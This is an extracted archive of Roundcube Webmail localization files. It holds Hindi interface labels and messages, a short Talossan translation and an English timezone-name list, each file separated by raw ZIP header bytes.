$labels['mark'] = 'चिह्नित';
$labels['select'] = 'चुनें';
$labels['all'] = 'सभी';
$labels['none'] = 'कोई नहीं';
$labels['unread'] = 'अनदेखी';
$labels['nonesort'] = 'कोई नहीं';
$labels['compact'] = 'छोटा करें';
$labels['empty'] = 'मेल रद्दी में डालें';
$labels['quota'] = 'डिस्क उपयोग';
$labels['unknown'] = 'अज्ञात';
$labels['unlimited'] = 'असीम';
$labels['quicksearch'] = 'तेज़ खोज';
$labels['resetsearch'] = 'खोज खाली करें';
$labels['sendmessage'] = 'मेल भेजें';
$labels['savemessage'] = 'ड्राफ़ट सहेजें';
$labels['addattachment'] = 'फ़ाईल जोडें';
$labels['charset'] = 'कैरेक्टर सैट';
$labels['editortype'] = 'सम्पादक प्राकार';
$labels['returnreceipt'] = 'मेल रसीद';
$labels['checkspelling'] = 'स्पैलिंग जाँचें';
$labels['resumeediting'] = 'सम्पादन फिर शुरू करें';
$labels['revertto'] = 'पहले की स्थिती पर जाऐं';
$labels['attachments'] = 'जुडे फाईल';
$labels['upload'] = 'अपलोड';
$labels['close'] = 'बंद';
$labels['low'] = 'कम';
$labels['lowest'] = 'सबसे कम';
$labels['normal'] = 'साधारण';
$labels['high'] = 'उच्च';
$labels['highest'] = 'उच्चतम';
$labels['nosubject'] = '(कोई विशय नहीं)';
$labels['showimages'] = 'चित्र दिखाऐं';
$labels['htmltoggle'] = 'ऐच-टी-ऐम-एल (HTML)';
$labels['plaintoggle'] = 'सादा पाठ';
$labels['name'] = 'दिखने वाला नाम';
$labels['firstname'] = 'पहला नाम';
$labels['surname'] = 'उपनाम';
$labels['email'] = 'मेल';
$labels['editcontact'] = 'पता सम्पाद';
$labels['edit'] = 'सम्पाद';
$labels['cancel'] = 'रद्द';
$labels['save'] = 'सहेज';
$labels['delete'] = 'मिटा';
$labels['deletecontact'] = 'चुने पते मिटाऐं';
$labels['composeto'] = 'को मेल भेजें';
$labels['contactsfromto'] = '$from से ले कर $to, $count पते में से';
$labels['print'] = 'छापें';
$labels['export'] = 'ऐक्स्पोर्ट';
$labels['previouspage'] = 'इससे पहले के बन्डल को दिखाऐं';
$labels['firstpage'] = 'पहला बन्डल दिखाऐं';
$labels['nextpage'] = 'अगला बन्डल दिखाऐं';
$labels['lastpage'] = 'आखिरी बन्डल दिखाऐं';
$labels['settingsfor'] = 'इनके विन्यास:';
$labels['preferences'] = 'पसंद';
$labels['userpreferences'] = 'यूसर पसंद';
$labels['editpreferences'] = 'यूसर पसंद सम्पादें';
$labels['identities'] = 'पहचान';
$labels['preferhtml'] = 'ऐच-टी-ऐम-ऐल(HTML) दिखाऐं';
$labels['htmlmessage'] = 'ऐच-टी-ऐम-ऐल (HTML) रूप मेल करें';
$labels['prettydate'] = 'सुनदर तारीखें';
$labels['setdefault'] = 'तयशुदा चुनें';
$labels['language'] = 'भाषा';
$labels['timezone'] = 'समय क्षेत्र';
$labels['pagesize'] = 'हर पन्ने पर इतने';
$labels['signature'] = 'दस्तखत';
$labels['dstactive'] = 'रौशनी बचाव';
$labels['htmleditor'] = 'मेल ऐच-टी-ऐम-एल (HTML) मे लिखें';
$labels['htmlsignature'] = 'ऐच-टी-ऐम-एल (HTML) दस्तखत';
$labels['previewpane'] = 'झलक पट्टी दिखाऐं';
$labels['autosavedraft'] = 'ड्राफ़ट अपने आप सहेजते जाऐं';
$labels['never'] = 'कभी नहाीं';
$labels['folder'] = 'फ़ोल्डर';
$labels['folders'] = 'फ़ोल्डर';
$labels['foldername'] = 'फ़ोल्डर नाम';
$labels['subscribed'] = 'सबस्क्राईब किया गया';
$labels['create'] = 'बनाऐं';
$labels['createfolder'] = 'फ़ोलडर बनाऐं';
$labels['managefolders'] = 'फ़ोलडर को व्यवस्थित करें';
$labels['sortby'] = 'ऐसे तय करें';
$labels['sortasc'] = 'पहले से आखीरी तय करें';
$labels['sortdesc'] = 'आखीरी से पहले तय करें';
PK
h�\��Ҋgg'program/localization/hi_IN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'एक त्रुटि पाई गई !';
$messages['loginfailed']  = 'लॉगिन नहीं हो पाया';
$messages['cookiesdisabled'] = 'आपका ब्राऊसर कुकी स्वीकार नहीं कर रहा है';
$messages['sessionerror'] = 'सत्र समाप्त या अवैद्य';
$messages['storageerror'] = 'आईमैप (IMAP) सर्वर से सम्पर्क नहीं हो पाया';
$messages['servererror'] = 'सर्वर त्रुटि';
$messages['dberror'] = 'डाटाबेस त्रुटि!';
$messages['windowopenerror'] = 'पॉपप विंडो अवरुद्ध किया गया था !';
$messages['requesttimedout'] = 'अनुरोध का समय समाप्त';
$messages['errorreadonly'] = 'कार्य करने में असमर्थ । फ़ोल्डर केवल पढ़ने के लिए है।';
$messages['nomessagesfound'] = 'इस मेलबॉक्स में कोई मेल नहीं है';
$messages['loading'] = 'लोड हो रहा है';
$messages['loadingdata'] = 'डाटा लोड हो रहा है...';
$messages['checkingmail'] = 'क्या नया मेल है?...';
$messages['sendingmessage'] = 'मेल भेजा जा रहा है...';
$messages['messagesent'] = 'मेल भेजा गया है';
$messages['savingmessage'] = 'मेल सहेजा जा रहा है...';
$messages['messagesaved'] = 'मेल ड्राफ़्ट फोल्डर में जमा हो रहा है';
$messages['successfullysaved'] = 'सहेजा गया है';
$messages['addedsuccessfully'] = 'पता खाते में पता जोडा गया है';
$messages['blockedimages'] = 'आप के प्राईवेसी के लिये और स्पैम से बचने के लिये इस मेल में सदूर चित्र नहीं दिखाये गये हैं।';
$messages['encryptedmessage'] = 'माफ़ कीजिये, यह मेल कूट रूप में है, इस कारण दिखाया नहीं जा सकता।';
$messages['nocontactsfound'] = 'कोई पता नहीं मिला';
$messages['sendingfailed'] = 'मेल नहीं भिज पाया';
$messages['errormoving'] = 'मेल खिस्का नहीं';
$messages['errordeleting'] = 'मेल मिटा नहीं';
$messages['deletecontactconfirm']  = 'चुने गये पते को सचमुच मिटाना है ?';
$messages['deletemessagesconfirm'] = 'चुने गये मेल को सचमुच मिटाना है ?';
$messages['deletefolderconfirm']  = 'फ़ोल्डर को सचमुच मिटाऐं ?';
$messages['purgefolderconfirm']  = 'फ़ोल्डर में पडे सारे मेल को सचमुच मिटाना है?';
$messages['formincomplete'] = 'फ़ॉर्म पूरी तरह से भरा नहीं';
$messages['noemailwarning'] = 'वैद्य मेल पता भरें';
$messages['nonamewarning']  = 'नाम भरें';
$messages['nopagesizewarning'] = 'पन्ना माप भरें';
$messages['norecipientwarning'] = 'कम-से-कम एक पाने वाले का पता भरें';
$messages['nosubjectwarning']  = 'मेल का कोई विशय नहीं बताया गया है। क्या आप विशय डालना चाहते हैं ?';
$messages['nobodywarning'] = 'बिना कुछ लिखे मेल भेजें?';
$messages['nosearchname'] = 'पता या पते का नाम भरें';
$messages['searchsuccessful'] = '$nr मेल मिले';
$messages['searchnomatch'] = 'खोज असफ़ल';
$messages['searching'] = 'खोजा रहे हैं...';
$messages['checking'] = 'चाँचा चा रहा है...';
$messages['nospellerrors'] = 'कोई स्पैलिंग गलती नहीं मिली';
$messages['folderdeleted'] = 'फ़ोल्डर मिट गया';
$messages['deletedsuccessfully'] = 'मिट गया';
$messages['converting'] = 'मेल से फ़ॉर्मैटिंग निकाला जा रहा है...';
$messages['messageopenerror'] = 'सर्वर से मेल लोड नहीं हो पाया';
$messages['fileuploaderror'] = 'फ़ाईल अपलोड नहीं हो पाया';
$messages['filesizeerror'] = 'अपलोड के लिये फ़ाईल हद $size से बड़ा है';
PK
h�\�%��yy#program/localization/tzl/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Benvenescu à $product';
$labels['username'] = 'Coda da sámband';
$labels['password'] = 'Teßera';
$labels['server'] = 'Serveir';
$labels['login'] = 'S’anonçarh';
$labels['logout'] = 'Zespartarh';
$labels['mail'] = 'Telepost';
$labels['settings'] = 'Setatxen';
$labels['subject'] = 'Subxhect';
$labels['from'] = 'Da';
$labels['to'] = 'À';
$labels['date'] = 'Däts';
$labels['copy'] = 'Copiarh';
$labels['move'] = 'Muóvarh';
$labels['moveto'] = 'Muóvarh à...';
$labels['copyto'] = 'Copiarh à...';
$labels['download'] = 'Transreçáifarh';
$labels['showattachment'] = 'Mostrarh';
$labels['showanyway'] = 'Mostrarh-en zespitzi toct';
$labels['filename'] = 'Nómina del fischeir';
$labels['addtoaddressbook'] = 'Axhuntarh àl carnet dels adreçéux';
$labels['sun'] = 'Súl';
$labels['mon'] = 'Lún';
$labels['tue'] = 'Mai';
$labels['wed'] = 'Már';
$labels['thu'] = 'Xhú';
$labels['fri'] = 'Vié';
$labels['sat'] = 'Sát';
$labels['sunday'] = 'Súladi';
$labels['monday'] = 'Lúneçi';
$labels['tuesday'] = 'Maitzi';
$labels['wednesday'] = 'Márcuri';
$labels['thursday'] = 'Xhúadi';
$labels['friday'] = 'Viénerçi';
$labels['saturday'] = 'Sáturi';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Fev';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Avr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Gün';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Gus';
$labels['sep'] = 'Set';
$labels['oct'] = 'Lis';
$labels['nov'] = 'Noe';
$labels['dec'] = 'Zec';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Fevraglh';
$labels['longmar'] = 'Març';
$labels['longapr'] = 'Avrïu';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Gün';
$labels['longjul'] = 'Julia';
$labels['longaug'] = 'Guscht';
$labels['longsep'] = 'Setemvar';
$labels['longoct'] = 'Listopäts';
$labels['longnov'] = 'Noemvar';
$labels['longdec'] = 'Zecemvar';
$labels['today'] = 'Oxhi';
$labels['reply'] = 'Contestarh';
$labels['forward'] = 'Promuóvarh';
$labels['deletemessage'] = 'Zeletarh el mensatx';
$labels['more'] = 'Pü';
$labels['options'] = 'Opziuns';
$labels['all'] = 'Toct';
$labels['isread'] = 'Lirarh';
$labels['filter'] = 'Strecureir';
$labels['unknown'] = 'inschì';
$labels['namex'] = 'Nómina';
$labels['send'] = 'Envoxhiarh';
$labels['ignore'] = 'Ignhorarh';
$labels['addresponse'] = 'Axhuntarh ün respuns';
$labels['responsename'] = 'Nómina';
$labels['close'] = 'Fermarh';
$labels['htmltoggle'] = 'HTML';
$labels['gender'] = 'Schlada';
$labels['email'] = 'Telepost';
$labels['locality'] = 'Cità';
$labels['country'] = 'Päts';
$labels['birthday'] = 'Nadaliça';
$labels['typehome'] = 'Casa';
$labels['typeprofile'] = 'Profil';
$labels['contacts'] = 'Contäctsilor';
$labels['edit'] = 'Redactarh';
$labels['cancel'] = 'Niþiliçarh';
$labels['save'] = 'Guardarh';
$labels['delete'] = 'Zeletarh';
$labels['rename'] = 'Rinominarh';
$labels['done'] = 'Fäts';
$labels['about'] = 'Över';
$labels['language'] = 'Glheþ';
$labels['location'] = 'Locaziun';
$labels['info'] = 'Informaziun';
$labels['version'] = 'Verziun';
$labels['B'] = 'o';
$labels['KB'] = 'Ko';
$labels['MB'] = 'Mo';
$labels['GB'] = 'Go';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Angleasca';
PK
h�\��k;;%program/localization/tzl/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['grouprenamed'] = 'Rinominarh';
PK
h�\$갸�N�N(program/localization/en_GB/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Africa';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
